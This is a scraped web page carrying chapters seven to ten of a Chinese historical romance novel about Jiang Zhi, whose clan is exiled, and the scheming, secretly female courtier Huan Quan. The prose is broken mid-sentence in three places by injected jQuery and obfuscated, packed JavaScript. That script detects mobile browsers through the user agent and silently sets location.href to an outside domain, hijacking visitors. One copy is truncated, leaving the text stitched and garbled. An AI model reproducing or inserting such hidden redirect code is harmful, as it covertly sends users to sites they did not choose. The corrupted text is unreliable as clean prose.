$(''.inform'').remove(); $(''#content'').append('' 铅一般,停在原地,她只能眼睁睁看着父兄从自己眼前消失。 眼前重新弥漫着黑暗,伸手不见五指,寒气从四面八方袭来,那时江芷所从未感受过的冷,似乎是从骨髓深处透出来的,内外交困,大声呼救,空无一人,天地之间似乎只有自己。 而自己马上就要被寒冷所吞噬,哪怕江芷蜷缩成一个球,寒意也没有半分减少。 “父亲!兄长!” 江芷惊喊着从梦中惊醒,醒来却发现眼前之人却是桓权。 “你!你怎么在这儿?” 说着挣扎着就要起身,却因伤在额头,头昏脑涨,又摔在床上。 江芷被梦见中黑暗的孤寂、寒冷、害怕、无能为力所笼罩着,哪怕是醒来,这股恐惧也没有半分减少。 “这里是我的府邸,难道我不该在这里吗?” 桓权闻言轻笑着,见她醒来,心中的那股愧意稍减两分。 江芷无言以对,从梦中清醒过来,只是脑袋还是昏昏沉沉的,懵懵懂懂看向桓权。 桓权从女使手中要过药盏,搅动着汤匙,作势要给江芷喂药,江芷怔怔任凭桓权喂药,只是药一入口,一股酸苦的味道便弥漫开来。 “苦!” 别过头去,不愿再喝,那股酸苦滑过喉咙,只漫过五脏六腑,只要将那股味道都吐干净了才好。 突然唇齿打开,被喂了一粒蜜饯,酸甜瞬间就冲淡了那股苦味,江芷瞪大眼看向喂她蜜饯的桓权。 “幼时病弱,不爱吃药,母亲便亲制蜜饯,只在我病中时才会喂我吃,后来长大了,虽不再害怕吃药,喜食蜜饯的习惯却还是保留了下来。” 桓权笑着解释道,说起母亲的时候,眼神不意露出几分思慕凄婉,宛如被揉碎的秋水。 那时江芷所不曾见过的破碎,宛如斜月映水,被夜风吹皱,碎玉万千。 “罢了,都是前尘往事了。” 桓权凄然一笑,不愿再多说,江芷到嘴边安慰的话语也被迫咽了下去,只是沉默吃着蜜饯。 “来,喝药。” 桓权又要给江芷喂药,江芷忙接过药盏,有些不安道: “我自己来就好。” 喝完药,江芷便觉得有些困倦了,抬头,却见桓权并没有离开,而是坐在竹席上,凭着引枕,看着自己。 “你……” 江芷被盯得有些不安,正要开口,桓权又道: “我让女使做了些养胃的清粥小菜,你先吃点了再睡,有什么事,让女使去唤我。” 桓权似是看出了江芷的局促,起身整理衣襟,将那盏蜜饯放在榻侧,冲江芷笑了笑,宛若秋风翠竹。 江芷心神微动,盯着桓权的背影,兀自发呆。 许是在鬼门关前转了一回,江芷觉得心中开阔了许多,对于桓权,她似乎已没有太多的怨言了。 以前对于桓权,她总是抱着许多不该有的绮愿,在人生最容易做梦的岁月,遇到一个衣冠楚楚的绿竹君子,她轻易将心给了出去。 以至于背叛来得是如此刻骨铭心。 爱则生怨,执则生恨。 如今生死走了一遭,爱恨似乎都不那么重要了。 如今回忆往昔,发现桓权似乎从来都是如此,温润尔雅,却又无心无情。 已经给出去的心很难再收回,江芷仍然会为桓权那些温柔是小举动而心动,只是她已不再怀抱希望。 如今的江芷,只想活下去,连带着自己的家人,一起好好活下去。 7. 第七章 请你活下来 “女郎终于醒了,女郎不知道,这些日子公子一直都守着女郎。” 江芷搅动着汤匙,盯着碗底的参汤,讷讷道: “桓士衡?他,守着我?” “对啊!公子让我好好照顾女郎,还让我劝女郎不要太担心,说一切公子都会安排好的。” 江芷微微颔首,才注意到和她说话的并非蕲茝,而是一个扎着双丫髻,着绿衣的小侍女。 “你是谁?以前我怎么没见过你?” “奴名唤素荣,以前都是在宜都侯府侍候的,是近日蕲茝姐姐才唤我过来伺候女郎的。” “素荣?‘绿叶素荣,纷其可喜兮’,是一个很有诗意的名字。” “是老夫人取的,我自幼就入侯府了,夫人教我读书识字,习诗明理,待我极好。” “老夫人?” 江芷喃喃着,陷入了沉默之中,许久,她才意识到简文口中的老夫人,就是桓权的母亲,她与桓权相识之处,桓权就在母丧。 “你见过老夫人?” “当然,我就是老夫人带大的,除了我,蕲茝姐姐也是老夫人一手带大的。这府中很多人都受过老夫人恩惠,要是老夫人见到女郎,也一定会喜欢女郎的。” 江芷笑了笑,没有回答。 此后江芷养伤的很长一段时间,都不曾见过桓权,他仿佛消失了一般。 半月后,江芷已经能下床行走了,这时素荣带给了她一样东西,是一个香囊,那是母亲的手艺。 接过香囊的那一刻江芷的整个手都是颤抖的,难以置信攥紧了香囊,放在心口,似乎这样就能和母亲拥抱在了一处。 “我母亲……还好吗?” “女郎放心,公子让我转告女郎,江氏一族并无性命之忧,陛下仁慈,江氏全族被判流放两千里,路上的一切公子都会打点好的,女郎可安心养病。” “母亲……她们都活下来了?” “是。” “太好了!” 江芷激动得落下泪来,她以为必死的结局,现如今,有了生机,没有什么比死灰中重燃希望更让人激动。 江芷笑着,哭着,一颗长久悬着的心终于落了下来。 活着就好!活着!就好! 直到夜深人静之时,江芷仍躺在榻上辗转反侧,冷静下来,她想起当日离开的桓权。 他似乎很少承诺什么,却真的做到了。 他总是在自己对他灰心失望之时,又不经意间点燃希望。 江芷发现自己对于桓权的恨意在一点点消散,她似乎对桓权已经没有那么多怨意了。 桓权似乎并不是那么可恶! 他也是有不得已之处。 江芷想起自己初见桓权时,他一身靛青色素衣,头戴缁撮,腰佩长剑,面对父亲府中众多门客的刁难,镇定自若,侃侃而谈,宛如一株风霜之中泰然的傲竹。 而那时桓权正值母丧,刚刚失去了叔父和堂兄,他孤身带着年幼的侄儿来讨要尸体…… 桓权听着素荣的回禀,这些日子,为了避免自己的出现刺激到江芷,他便暂时搬离了别院,回到侯府居住。 只是心底到底放心不下,便让素荣每三日向自己汇报一次江芷的消息。 将江芷的母亲一行人平安送离京都,桓权心下才彻底安心。 “如今储君之争如此险恶,公子还有闲心关心江女郎,公子还真是多情啊!” “储君之争与我何关?” 桓权翻动着手中的卷册,淡淡答着,云淡风轻,不着痕迹。 “未时末刻,顾侍郎遣人送来书信一封,公子可要拆看?” 毛舒从一对书信卷册中挑出最有价值的放在桓权的面前,她知道桓权关心什么,对什么感兴趣,这是她一直能留在桓权身边的原因。 桓权打开信笺,取出里面的信件,上下扫了几眼,将薄薄的两页黄纸都阅过后,又转交给毛舒。 毛舒匆匆看过后,上前两步,激动地笑道,道: “看来顾氏已经得到消息了,看来此番联合,是成了。” “未定之时,不可言成。陈王即位,北方氏族和南方氏族的矛盾也可稍缓,大将军若要着力北伐,朝中压力也顿减不少,如此,这番功夫才不白费。” 桓权目光悠悠看向窗外的晚霞,灿烂多姿遍布整个天空,毛舒顺着桓权的目光看去。 这数月来的谋划,终于有了一个结果,桓权心下稍稍放松,伤口的隐痛便袭了上来,不觉“哎呀”痛呼了一声。 “公子?” 毛舒担心看向桓权,桓权摆摆手,跽坐在竹席上,倚靠着引枕,斜睨着毛舒,道: “江女郎的伤如何了?” “已无大碍。只是……” “只是什么?” “我听素荣说,江女郎想离开桓府。” 桓权闻言沉默片刻后,道:“东城府的宅子收拾出来了吗?” “蕲茝亲自去办的。” “如此便好,她若想离开,好好将人送走。” “是。” 毛舒拱手答应下来,抬眼看着桓权,似是心事重重的模样,笑着道: “公子莫不是真动心了?” 桓权自嘲一笑,当下并未立即回答,起身背手而立,遥遥望着窗外只剩下一片乌蒙的天色,许久,才喃喃道: “终究是我骗了江芷,是我有愧于她。” 毛舒垂首默然。 江芷自得知母亲族人安康,便开始筹谋离开事宜了。 她与桓权纵使无怨无恨,也是做不了夫妻的,离开桓府,是她最后的尊严。 离开前,想到桓权对自己的照顾,江芷总想再见桓权一面,可桓权公务繁忙,连着好几日都不曾回府。 好不容易等桓权回府了,身侧又多了许多其他人,其中来得最多的就是江左顾氏的郎君。 江芷听府中的丫鬟说过,江左顾氏有意与桓氏联姻,而顾四郎和桓权一向交好,顾氏是当即皇后的母族,世家联姻,是寻常。 江芷猜测着自己与桓权的婚约是不作数了,这联姻之人自然而然就是桓权了,桓权年轻有为,也的确在世家中颇受欢迎。 新人即将入府,自己这个旧人也合该离开了。 江芷待桓权送完客人,回头向主院走去的时候,从月洞门处现身,请桓权去自己的院中一叙,桓权略一犹豫,还是答应了。 待到烛火光亮处,江芷注意到桓权神色倦怠,脸色青白,并不太好看。 江芷倒茶亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653583|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉上,桓权忙起身迎了,接下茶盏,将江芷也请坐在桌案一侧。 “江女郎有事直言就是,权自当勉力而行。” “不论当年的事情如何,这次是你救了我族人……总之,谢谢你。” 桓权起身想要扶住行礼的江芷,最终还是坐了回去,尴尬道: “你不怨我就好。” 江芷苦笑着摇摇头,道: “士衡公子,经历此番,你我之间的婚约就算了吧,如今我伤势已经痊愈,也到了该离开的时候了。” “你打算去哪儿?” “母亲她们被流放,我这做女儿的,怎能让母亲在边地受苦,我想追随母亲。” “我在东城有一处宅子,久无人住,你若不嫌弃,可以搬去那里。 你素来体弱,此去边地路途遥远……” 江芷知道桓权不会亏待自己,只是在听到桓权的话后,江芷心底有种难言的失落,却还是强颜欢笑,拒绝了桓权的好意。 “不用了,我可以……” “宅子里有你江家的旧人,难道你不想见见他们吗?难道你不想有朝一日,族人被赦后能有一归处吗? 留在京都,至少你还有再来一次的机会。” “士衡公子希望我留下来吗?” 江芷不确定看向桓权,她的确已经做好了离开的打算,就算是死,她也情愿和自己的族人一处,可桓权的话的确太有吸引力了。 留在京都,她就有可能救自己的族人回来。 “江女郎以为自己为何能是江氏族人的例外吗? 你的命是我保下来的,江芷,别辜负了我这一番心血。” 桓权知道自己劝江芷留下的理由太过单薄,他也无意继续劝说,言语威胁,他不愿江芷冒险。 江芷一直都知道自己能免江氏谋逆牵连,背后是因为桓权的原因,可桓权这般直白,让她一时凝噎,只盯着桓权的身影,脸色涨得通红。 桓权背手准备离开,却还是不忘对江芷道: “江芷,东城的宅子给你,那便是你的,你我虽无夫妻的缘分,我却是愿意护着你的。” “那这样……我算什么?你桓权的外室吗?” 江芷终于将心底的疑问嘶吼出来了,她不明白桓权为何要在彻底的背叛后,又若无其事给予她脉脉温情。 他保她性命,送她宅院,为她调养身体,对她好,到底是因为愧疚,还是因为喜欢,亦或是只是一时兴起。 “我不会如此辱你,江芷永远只能是江芷,日后,但有所求,我桓权定当勉力,这是我欠你的。” 桓权甩袖离开了屋子。 江芷看着空荡荡的屋子,脑海中只留下桓权那句“这是我欠你的”,忽然发笑,笑着笑着便哭了。 恩怨情仇,她所有的纠结、怨恨、爱慕,都不过是一场情债罢了,所有的背叛,所有的怜惜,就像一团乱麻,越缠越紧。 他们的相识始于一场欺骗,却只有她一人付出了全部真心。 夜间枯坐在梳妆台前,屋内昏暗,月影入户,清凉如水,江芷心中一片茫然。 忽然听见有人敲门,接着便有人推门而入,毛舒提着食盒,借着月光将食盒放在桌案上,又掏出火折子点燃了屋内的油灯。 8. 第八章 我不许你离开 昏暗的室内顿时光明了不少,毛舒一面点灯,一面笑道: “听她们说江姑娘还没吃晚饭,我煮了些馎饦,姑娘可以吃点垫垫肚子。” 江芷闻言回头看向了一脸笑意的毛舒,她知道毛舒和蕲茝一样都是桓权贴身的人,只是性子更为冷淡些,她来桓府许久,与毛舒的交道并不多。 今日毛舒忽然来访,她心底也摸不清是什么意图,更难得的是毛舒对自己的态度完全不同于蕲茝,她说话温温柔柔的,就像一个大姐姐一般。 “毛姑娘。” 江芷对毛舒微微颔首,算是问好。 “饿了吧?先吃饭,这些都是我亲手做的,特意在里面卧了两个蛋。” 闻着面皮的香气,江芷方才意识到自己肚子咕噜噜叫了,确实是饿了,也没有推辞,拿起碗筷来,便吃了起来。 吃到嘴中才发觉这味道竟然和她平日吃的完全不同,而且面皮较平日吃的要软和许多,不由微微一怔。 又见送来的小菜都是自己未见过的新鲜模样,好奇尝尝,一股柔和细腻却又微微苦涩的味道在口腔中弥漫开来,十分新奇。 “这是?” “茄子。听说是从西域传来的,味道很是鲜美,用油煎了,香气四溢,和肉糜煮了,味道也是相当不错的。” 江芷点点头,心里奇怪毛舒送自己这样稀罕的美食,到底有什么目的。 “江姑娘想必一直都疑虑自己父亲谋逆一事吧。” 毛舒突然开口,令江芷一惊,江芷没有说话,之颔首低眉,落下泪来。 虽然桓权曾对她说过这件事,但她并未相信,只一心认为是桓权污蔑陷害,就是为了替杀人的贼子脱罪。 “我知姑娘心中疑虑,特来为姑娘解惑。” “你是他的侍女,自然会为他说话。” “若我有物证呢?” 说着毛舒从怀里掏出两封书信放在桌案上,看着江芷的眼睛,道: “这上面的笔迹想必江姑娘不会陌生。” 江芷瞧见书信上的字迹,整颗心都紧张起来,就连拿起书信的手都忍不住开始颤抖,那上面的笔迹她是再熟悉不过。 展开书信,接着灯光阅读,书信内容更令人惊颤,江芷瞧完,整个人都难以置信,手中的信纸飘然落在地上。 “怎么会?怎……么会?父亲不是这么的人,是你们陷害的他!” 江芷的第一反应就是书信上假的,毛舒捡起掉落在地上的信纸,淡淡道: “姑娘一时难以置信也是情有可原的,毕竟谋逆这样的事情,您父亲又如何会与你这未成年的小娃娃说。” “你骗人!我父亲不是那人的人!” “姑娘总是不信我,这白纸黑字,姑娘难道也不信。” “这信定是你们伪造的!” 江芷忽然想起桓权的书法也极好,最是擅长模仿人的笔迹,第一反应就是桓权故意写这样一封书信来骗她的。 “江姑娘未免太高看自己的,您如今一无所有,哪里还值得我们费这许多功夫来骗您。 更何况笔迹可以模仿,可这纸张是的字迹乃是三年前的陈墨,难道也可以伪造吗? 这两封书信可都是当年剿灭苏钧叛军之时缴获的,上面说的很清楚,当日宣城太守欲要和苏钧里应外合,谋朝篡位。 江姑娘,当年您父亲谋逆一事,除了有这信外,可还有当年郡守府的老府军做人证,当年他们可都是亲眼见到您父亲下令杀桓太仆的。” 江芷完全愣在原地,一直以来坚守的信念顿时破碎,她不敢相信自己的父亲,竟然真的做了乱臣贼子。 毛舒掏出手绢来给江芷拭泪,令人撤下吃食,打了一盆水来,亲自给愣愣流泪的江芷洗脸。 “姑娘,事情都已过去,姑娘又何必再伤心了。” 毛舒又好言好语安慰着江芷,她的言语温柔,最擅长抚慰人心,就像姐姐一般让江芷将头埋在自己怀里,尽情哭诉,她则轻抚江芷后背,柔声安慰。 待江芷哭累了,又为她卸妆洗漱,给她唱着歌谣。 因担心江芷会一时想不开,令一个小丫鬟好生守着,自己则带着书信前去复命。 桓权见毛舒拿着书信聘聘婷婷出现在自己面前时,便知她已将真相告知了江芷。 桓权有些犹豫,道:“这样会不会有些伤她,她已然没有家了。” “早晚都得知道,更何况,瞒着她的又不是我们,我们只不过将真相告诉了她。” “当年江芷才多大,今日也是无辜受牵连,这件事也是我有愧于她。” “哼!公子对不住的人多着了!何必只心疼江姑娘?既然做了,就别后悔,本来这件事公子就不该插手,桓冲公子要复仇自去复仇就是,您在这里插一脚算什么事儿!” “冲儿是我侄儿,更何况这件事是我答应他的。” “行!公子是有情有义的,我毛舒是个多嘴的,明日劝人我可不去了。” 桓权忙走到毛舒身边,轻摇着毛舒的身体,道: “好姐姐,我错了!明日的事您好歹帮一把,俗话说‘送人送到西,帮人帮到底’,江芷那性子,我说话她未必听,还得是好姐姐来!” “你别在这姐姐长,姐姐短,别以为我不知道你心思,要我帮忙,也不知道不可以。不过……” “不过什么?” “你得答应我一件事。” “什么事?” “免我一个月的练字。” “三天。” “21天。” “七天。” “好了,半个月总行了吧。” 毛舒无奈道。 “可以。” 桓权答应了,毛舒看着桓权临摹后挂着的满屋子字帖,实在是不明白, “你到底是怎样写得这样好看,而且还不累的,我每次拿毛笔,感觉手都不是我自己的了。” “多练练就好了,练字能静心,你日后若想能行的长远,这字还得继续练。” “哦。” 毛舒神情略有些沮丧,但还是为能有半月的假期而高兴。 “毛舒,你有灵气,我不希望你仅仅只是个歌姬。 他日我若凌云登顶,功成名就,我希望那时陪在我身侧的是你。” 桓权抬眼意味深长看着毛舒,毛舒心神一颤,内心深处柔软之地被触动,但很快清醒过来,苦笑道: “公子高看我了。” “不试试怎么知道不可以呢?” 毛舒默然。 江芷因为父亲的事备受打击,连着好几日都不梳妆,只懒懒躺在榻上,眼神木然。 毛舒听说后,亲自做瓠羹送来,见江芷整个人懒懒的瘫在榻上,只机械地穿针引线,做着针凿女红。 毛舒将瓠羹放在桌案上,劈手夺过江芷手中的绣品,强硬将人拉到桌案前,道: “听说你这些时日都没怎么吃饭,先吃点吧。” 见江芷还是痴痴呆呆的,也不着急劝,而是突然问道: “江姑娘见过北地的流民吗?” 江芷自幼长在闺中,纵使后来遭逢巨变,却也是在宅院之中,她只是听父亲提起过北地流民凶残。 故而摇摇头。 “江姑娘可能不知,我便是北地流民。” “啊?怎么会?” 江芷完全愣住了,眼前的毛舒分明是一位淑丽的女子,完全不能和奸淫掳掠的流民联系起来。 “我父母本身东海郡人氏,祖上也曾主政一方,后来胡虏劫掠旧都时,我家人因不舍故土,留了下来。 然而胡虏残暴,无论男女老幼,若是被捉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江芷心中已被说动了八分,毛舒描绘的经历太过惨烈,她有些不敢想象,若没有桓权的庇护,凭她自己,当真可以一个人走到千里之外的岭南吗? 这路上重重山碍,又有盗贼流民,她身无分文,届时若被流盗所劫,她岂不是生而无望,又哪里谈和母亲亲人相聚。 “江姑娘放心,士衡公子待姑娘是有情的,老夫人沿路上都有打点,不会受苦的,等过些时日,待这件事平息后,公子再使些手段,让您们母子团聚就是。” 江芷觉得毛舒说得话在理,也只得点点头。 接连好些天,毛舒常带着点心小吃来看望江芷。 江芷的丧亲之痛也减轻不少,许是因为两人都是失去亲人,经历苦痛之人,江芷对毛舒格外亲近信任。 也觉得听从毛舒的建议,不去南疆寻母,就在东城住下。 江芷坐车来到东城的宅子,见到了当日江氏抄家时,被抓捕的仆役,他们因为非江氏族人,被免于流放。 这些人都是她无比熟悉的旧人,在经历一番生死后,再见故人,心中的感慨难免会多些。 江芷想起当时情意浓稠时,桓权曾问过她,江府中她最亲近信任之人,如今这些人都免于祸患,出现在自己面前。 不知是该笑还是该哭,江芷待泪含笑,对送她过来的素荣,道: “替我谢过你家公子,告诉他,我会好好活下去的。” 毛舒亲自来送江芷,待江芷一切安顿好了,才依依离别,江芷有些不忍。 “毛姑娘,你以后一定要常来看看我。” “江姑娘放心,我会的。” 江芷目送毛舒登上马车,马车辘辘驶离了巷口,想到自此之后,便孤身一人在偌大京都求存,不由落下泪来。 9. 第九章 陈郡谢弼 “公子,外面有个人说自己是陈郡谢弼,前来拜访。” 桓权闻言放下手中书册,眼神中的惊喜难掩,连连道: “快请!快请!” 老閽人刚答应一声,桓权便站起身来,走下阶来,慌慌忙忙道: “不!不!我得亲自去迎!” 说着便穿上双头履,朝着前堂门房走去,将老閽人远远抛在后面,老閽人小跑着才跟上桓权的步伐。 心中只觉得奇怪,他在三公子身侧时间算来也有两年,还是第一次见他这般激动。 “辅嗣!来人可是辅嗣公子?” “陈郡谢弼见过尚书郎。” 来人是个弱冠左右的青年,一身梨白绮罗长衫,腰间系一条浅色的丝绦,头戴葛巾,分明是江南文士模样。 然儒雅之中,却难掩一身孤傲之气,望之便如高山之月,令人心生仰慕,而不敢攀登。 桓权闻言,收起脸上的笑意,后退两步,恭恭敬敬拱手作揖还礼。 礼毕,桓权将谢弼迎入前厅,命人备上茶水点心,欣喜之情溢于言表。 “听闻你在南山行医,怎会突然来京?” “近日是叔彦的祭日,故而回京祭拜。” 叔彦,是前散骑侍郎钟雅的字,苏钧之乱时,钟雅为了保护天子,被逆贼苏钧所屠,死后被追封为侍中。 钟叔彦当年与桓权、谢弼相交甚笃,曾同游北地,结为生死之交。 苏钧之乱时,钟叔彦伴驾左右,宁死不愿曲节,以至于被乱军砍杀,死无全尸。 而当时谢弼正为朝廷著作郎,与朝中公卿一同被囚于宫禁之中,因为官微职小,才侥幸保得性命。 后苏钧忙于应对梁冀平叛的大军,谢弼才有机会为钟雅收敛尸骨,然而乱军之中,早已与尘土归为一处,只敛得几片衣角,连着那片尘土,一同归葬,立了衣冠冢。 钟雅年幼丧父,因博学多闻,被太傅梁安辟为掾属,后又被举为秘书郎,任秘书郎未及一年,就遇母丧。 钟雅是由寡母抚育长大,母亲离世,对于钟雅打击甚大,当即就辞去官职,回乡为母守丧。 母丧结束后,钟雅并未急着回到朝中做官,反而与桓权、谢弼结伴,同游被胡虏占据的北国,意在他日能收复失地,重振华宇。 因北地凶险,三人也是历经一番险阻后,方能平安南归,故而三人情意非比寻常。 谁料就在钟雅重新入仕第三年时,发生了苏钧之乱,彼时钟雅娶妻不过一载,尚未有子。 如今算来,今年恰是钟雅离世第三载。 “叔彦……” 桓权长叹一声,对于这位亡友,也不知是惋惜居多,还是伤感居多。 “半年前,钟氏一族给叔彦过继了一个儿子,甚为勇毅,颇有叔彦遗风。” “叔彦有继,却为幸事。” 谢弼之时淡淡道,并未因为此事而有太大的情绪起伏,桓权带着颇有些尴尬,进而道: “难道辅嗣不想见见叔彦的孩儿吗?” 谢弼愣了一下,看向桓权的眼睛,道: “既然是你夸赞的人,必不会差。” “你就这般信任我?” 谢弼自饮一盏茶,很是随性地道: “我若不信你,待如何?若信你,待如何?你我之间,凡卿所言,我皆信。” 桓权搅动茶水的手略微停顿了片刻,眼眸低垂,随即又恢复如常,向两人杯盏中添上茶水,笑道: “辅嗣此言,某担不起。” 谢弼只是摇头。 两人沉寂片刻后,谢弼方才道: “我瞧你没面无血色,似是染疾?” “些许微末之症,不劳费心。” 桓权原还想再推辞一番的,奈何谢弼一再坚持,也只得随他的意,伸出手,任凭谢弼把脉。 “利器所伤,是何人?” “私情罢了,不值一提。” “我瞧瞧你的伤口。” 桓权褪下衣物,露出伤口来,在其左胸处有一两寸长的血疤,虽已过月余,却仍隐隐渗出血迹。 “这就是你说的‘微末之症’?桓士衡,这利器若是在偏移半分,你,性命休矣!” 谢弼瞧着桓权的面色,除了忍痛皱眉外,对于他的话语并没有多少反应,谢弼一面为其处理伤口,一面道: “伤你之人是何人?你武艺虽非超群,寻常人也难伤你之此,这伤隐秘,想来是亲近之人。” 桓权只是颔首,道: “是江芷。” “那个女郎?” “嘶!你轻点!” 谢弼一惊,难免手中失了分寸,听见桓权的呼痛声,才重新小心处理起伤口来。 “当初就劝你,不要太过火,结果现在报应来了吧!” “江芷是个很好的女孩,”桓权苦笑一声,长叹一声,继续道:“只可惜身处于这乱世,被父兄所累。” “当年之事,你都告诉她了?” “嗯。” “当年种种,阴谋权势,势力争夺,尸山血海,你我都是亲身经历过的,我从不后悔当年之事。 这些年的谋划,本就是为了今朝报仇雪恨,血债血偿,本没什么。 只是……江芷,却是我对不住她,我无意欺骗她,婚约一事也非我所愿,却害她家破人亡,是我之过。 更何况今日江氏一案牵连甚广,想除掉他们的又岂是我桓权。 当年苏钧谋逆,牵连甚广,江氏作为其遗党,能保住性命已是不已,竟还想在这棋局之内分一杯羹,执棋之人又如何能容得下呢?” 谢弼闻言一惊,手中上药的动作慢了下来,沉吟道: “若不是你桓氏一族为其姻亲,江瑎未必有更进一步的野心,你们引他入局,待到他深陷其中,再冷眼旁观。” “权势之争,历来如此,今朝堂上客,明朝刀下魂,人心向来是不足的,总想着能更进一步。” 桓权淡淡笑着,只是笑意凄然。 谢弼闻言想起自己此前经历的种种,颇为感同身受,悠悠一叹,道: “当初我便奇怪,你为何会应下与江氏女郎的婚事,如今想来,该是早有谋划。 只是你素来不赞同私相寻仇,如今却在朝堂之上公开论其合理性,桓士衡,你心里到底是作何想的?” 桓权闻言泪落满襟,长声哀叹,却始终不发一眼。 谢弼不再追问,起身坐到桓权身侧,敛其衣袖为桓权拭泪,道: “当初我辞官避世,便料到会有今日。 罗网之中,岂得自由? 士衡,你随我一同隐居南山,如何?南山虽陋,却胜在自然随性。” 桓权拭泪摇头,哽咽着哭声,道: “我的确彷徨无措,也觉得甚是委屈。 想我当初所求,不过是一展其才,不至于辜负这满腹才华。 谁能料想入仕不过两年,却屡屡违心,虽有鸿鹄之志,却为罗网所羁,身不由己,前途坎坷。 江氏一事非我所愿,我却不得不为。私相复仇,是汉时遗风,更合乎礼法古制,更何况杀人者乃是至亲…… 更何况,此事我桓氏一族也不过是替人作了那柄杀人的剑。” 桓权起身呼人取酒来,不愿再提及此事,待酒来,提着酒坛大口灌酒,泪水喝着酒水淌落在地上,高声唱道: “俗流从而不止兮,众枉聚而矫直。或偷合而苟进兮,或隐居而深藏。” 谢弼跟着桓权一同到院中,此时月上柳梢,中庭地白,万念俱寂,唯有蝉鸣不绝。 “这是贾生的《惜誓》,看来此番入仕,士衡感慨颇深!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653585|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>下一句是‘苦称量之不审兮,同权概而就衡。’当今之世,世物昏乱,外有胡虏兵戈扰攘,内有世家弄权作势。 士衡……” 谢弼看着桓权,眼神真挚,满目怜惜他素来不作伪,此刻更是剖出整颗心来呈给桓权来看。 桓权看懂了谢弼眼中无尽的话语,却只觉得纠结痛苦,仰天长叹,痛饮苦酒,泪湿襟络,无语凝噎。 “他日若我不幸丧身于这罗网之中,辅嗣,可愿为我收殓入葬?” 桓权忽然揩泪而笑,笑意凄然,又携三分释怀。 “此言何意?士衡何必说此不详之语?士衡才高,必能如鲲鹏展翅。” 桓权只是苦笑摇头。 今日江氏为砧板上的鱼肉,焉知他日不会是自己。 兔死狐悲,物伤其类罢了! 谢弼陪饮。 待酒醉朦胧时,桓权半倚着谢弼,衣衫半敞,露出肩膀雪白肌肤,嘴中唱着: “世人都晓神仙好,唯有功名忘不了……” 声音空灵清绝,却又满是孤寂无奈,谢弼听着歌声,凄然一笑,脱掉外衣,披在桓权身上。 这首歌是当年两人未出仕时,桓权于南山所创,当时他只觉这首歌道尽古往今来的王侯将相、权势争斗,最后只在“好”“了”二字。 如今经历了许多离乱,又多了许多新的感受。 “何苦呢?明知最后都是一场空,权势名利,就真的这般重要吗?” 桓权苦笑着,起身,拔出腰间的佩剑,翩然一舞,剑光如月,舞动间带起一阵阵清风,剑法轻盈而灵动,宛若夜空中最亮的星辰。 她本就善剑,剑下也曾有亡魂无数,此刻舞剑,剑法较平日要凌冽许多,似要将虚无鬼魅斩杀于黑暗之中,刚烈之中也多了几分决绝的血色。 谢弼静静看着桓权在庭中舞剑,夜风微寒,谢弼摘下一片树叶,放在手心,呜呜吹动着,和着夜风,无名的小曲,伴着凌厉的剑风,竟是分外和谐。 心中郁闷,剑法也失去了章法,最终劈砍在院中的橘树上,一滴滴清冽的水珠顺着鬓角滴落,分不清是汗水还是泪水。 “谢辅嗣,我早就别无选择了。” 桓权手一回,用剑将头上束发的缁撮割了下来,青丝瞬间披散下来,波浪状的发丝披在肩上,直垂在腰际。 谢弼定睛看向桓权,目光灼灼,他甚少见到桓权无状的模样,此刻却是满眼心疼。 他想带她离开京都这个是非之地,可她不愿,他便只能眼睁睁看着。 “士衡。” 谢弼低声喃吟,将踉跄地桓权拥入怀中,轻抚后脊,眼中满是悲悯。 “你醉了。” “醉了好!醉了就不用算计人心了!” 泪水濡湿了谢弼的衣襟,谢弼打横将桓权抱了起来,向内室走去,低眸看向怀中已经昏昏沉沉、不知人事的桓权,浅笑着,如同绝世奇珍捧在怀中。 谢弼将人放在榻上,转身打算去取茶水,衣袖却被拽住了,回头,便听见桓权,喃喃道: “辅嗣,别走!” 谢弼蹲下身在桓权耳边,低声道: “放心,我不走,你好好休息。” 桓权的手果然松开了,正当谢弼起身时,却被一股力量拽到了榻上,桓权翻身坐在他身上,谢弼挣扎着要起身,道: “士衡,别闹,我去取水。” “不要!” 桓权睁开眼睛,看着精亮,实则迷糊,只是斜睨着眸子看着谢弼,固执地盯着身下的谢弼。 “士衡,别闹了!” “辅嗣,我想你!” 闻言,谢弼仿佛触电一般,放弃了挣扎,推开桓权的手,转为拥抱,长叹一声, “我又何尝不是呢?” 红账绮罗,鸳鸯双飞,一夜无语。 10. 第十章 哭祭亡友 次日,秋雨微凉,远山如黛。 钟雅的埋骨之处在城郊山峦处,雨后山路湿滑,两人骑马出城,没有带随从,只携两壶薄酒便上山去了。 山雾轻薄,雨水湿重,两人披上蓑衣斗笠,将马匹寄宿在山下农户家中,只步行前往。 两人一路闲聊话玄学诗书,说起了当年往事。 “不娶也好,娶妻之后难免日夜相对,届时身份难免暴露。 只是你打算隐瞒到何时?” “不知道。” 桓权苦笑着,仰天看雨雾遮盖的山腰,继续说道: 